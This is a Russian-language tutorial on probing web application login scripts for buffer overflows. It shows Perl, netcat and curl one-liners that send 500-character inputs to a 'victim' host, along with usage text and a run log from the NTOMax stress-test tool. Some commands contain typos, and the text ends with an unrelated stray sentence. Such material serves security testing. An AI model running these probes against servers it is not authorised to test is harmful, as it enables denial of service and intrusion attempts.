Переполнение буфера при выполнении сценариев
Для выполнения взлома данного типа нужно всего лишь попытаться ввести как можно больше символов в поле ввода. Это самый грубый и неэлегантный взлом, однако его можно использовать в случае, когда приложение выдает пользователю информацию об ошибке. Взлому данного типа широко подвержены приложения, написанные на языке Perl. В этом языке достаточно просто с помощью одной команды создать строку ввода любой длины (ааааааа… повторяется 500 раз):
$perl –e ‘prirt “a” x 500’ |
С помощью сценария, написанного на языке Perl, можно создать HTTP-запрос или же воспользоваться для этих целей утилитой netcat. Этот запрос необходимо ввести в строке ввода вместо корректного параметра, заключив его в символы обратной кавычки (`). Рассмотрим следующий пример:
$echo –e “GET /login.php?user=faustus\nHTTP/1.0\n\n” | \ nc –vv www.victim.com 80 |
Далее показан пример исполнения Perl-сценария, вызываемого из командной строки:
$echo –е “GET /login.php?user=\ >`perl –e ‘print “a” x 500’´\nHTTP/l.0\n\n” | \ nc –vv www.victim.com 80 |
Этот простой сценарий посылает 500 раз символ к файлу login.php. Самое замечательное – это то, что данный сценарий может использоваться из командной строки любой UNIX-системы (или в пакете Cygwin под Windows). Например, применяя данный метод с программой curl, можно решить проблему взлома узла, защищенного с помощью протокола SSL:
$curl https://www.victim.com/login.php?user=`perl –e ‘print “a” x 500’´ |
Кроме того, существует программа NTOMax, которая обеспечивает более широкие возможности для проведения проверки переполнения буфера. Преимуществом данного инструмента является то, что он поддерживает выполнение сценариев.

Далее приведен простейший пример использования данной софтины (а точнее список возможностей):
C:\NTOMax20>NTOMax.exe /? Seek and Destroy - Information Warfare NTOMax v2.0 - Copyright(c) 1999, Foundstone, Inc. Server stress tester for buffer overflow/DOS conditions Programming by JD Glaser - All Rights Reserved Usage - ntomax /s < script.txt > results.txt /s = reads script from stdin /? = Help - Script Format - host:[ip address],[port],[min],[max] = host parameters Additional host parameters in order: timeout - ms to wait for socket response - default = 0 delay - ms to wait before sending commands- default = 250 pause - ms to wait before receiving - default = 0 retnum - number of LF/CR's to end buffer - default is one reopen - T/F reopen connection before each command norecv - T/F no receive after intial connect - default is off verbose - T/F verbose output- off by deault trial - T/F diplay buffer w/o sending Command synax: c:[command text] = preloop coomands lc:[command buffer] = loop commands c:[command text] = post loop command - Script Example - host:12.12.12.2,80,400,500,5000,250,0,2,true,true lc:GET /some * url/ lc:POST /some * url/ or a mail server example host:12.12.12.2,110,40,50,5000,1000,4000,1,false,true lc:user hac*ker lc:pass hack*pass |
Из приведенного примера видно, что главным преимуществом утилиты NTOMax является поддержка файлов сценариев. На первый взгляд, обилие параметров и сложность синтаксиса сбивает с толку, однако эта сложность вызвана чрезвычайно широкими возможностями данной программы, которая позволяет создавать оптимальные сценарии для проверки приложения на наличие изъянов. Для обеспечения корректного синтаксиса HTTP значение retnum необходимо установить равным 2. При использовании команд c или lc можно использовать символ звездочки для задания размера буфера. В некоторых случаях строку из 400 символов N можно заменить символами звездочки. Но все же у программы NTOMax есть и недостатки. Главным недостатком является то, что пользователь не может изменить символ буфера. Ниже приведен пример, в котором проверяется максимальный размер переменной value в файле сценария login.php:
length for the “user” variable to the login.php file contains:host:192.168.0.1,22,100,500,4000,250,0,2,true,true,true,false lc:GET /login.php?user=* HTTP/1.0 |
Данный сценарий выполняется 100 раз (размер буфера 500 минус минимальный размер буфера 400 символов). Далее запускается программа NTOMax:
C:\NTOMax20>NTOMax.exe /s < script.txt Seek and Destroy – Information Warfare NTOMax v2.0 – Copyright(c) 1999, Foundstone, Inc. *NOTICE – NTOMax is a stress test tool for professional administrators* *Foundstone, Inc. assumes no liability for use/misuse of this tool* Beginning scan on 192.168.0.1:80 Pinging host 192.168.0.1 Connecting… Connected to 192.168.0.1 on 80 Starting test series... Printing session values: IP – 192.168.0.1 Port – 80 Min – 400 Max – 500 Timeout – 5000 Delay – 250 Loop Pause – 0 AddRet – 2 ReOpen – true Verbose – true TrialRun – false Beginning loop command series... Beginning loop test with 400 byte buffer... Connected to 192.168.0.1 on 80 Trial Buffer – ‘GET/login.php?user=NNN...NNN HTTP/1.0 ...продолжение тестирования для буферов длиной от 400 до 500... Testing completed |
После начала проверки приложения на наличие изъяна, обусловленного возможностью переполнения буфера, данное приложение начало возвращать различные сообщения об ошибках. Это могут быть ошибки типа “неверный пароль”, однако сведения, полученные в результате некоторых ошибок, могут нести важную информацию, такую как информация о граничных условиях для параметра user. При проверке приложения нужно придерживаться одного простого правила. Отправьте корректный запрос приложению и запишите его ответ. Отправьте первый буфер символов приложению и запищите результаты. Отошлите второй буфер и запишите результаты. И так далее. После того, как полученные ответы от приложения не будут совпадать, проанализируйте ошибки. Это правило может помочь в обнаружении достаточно серьезных изъянов приложений (таких как ограничение в 7809 символов косой черты в URL-адресе).
В некоторых случаях взлом средств проверки вводимых данных может предоставить хакеру возможность выполнения произвольных команд на сервере.
Подводя итог, можно сказать, что в первом случае использование сценариев на языке Perl предоставляет пользователю больше возможностей, однако для этого требуются более глубокие знания. При использовании утилиты NTOMax глубоких знаний не требуется, однако в этом случае возможности пользователя ограничиваются возможностями программы.
Никогда не сталкивался с данной проблемой.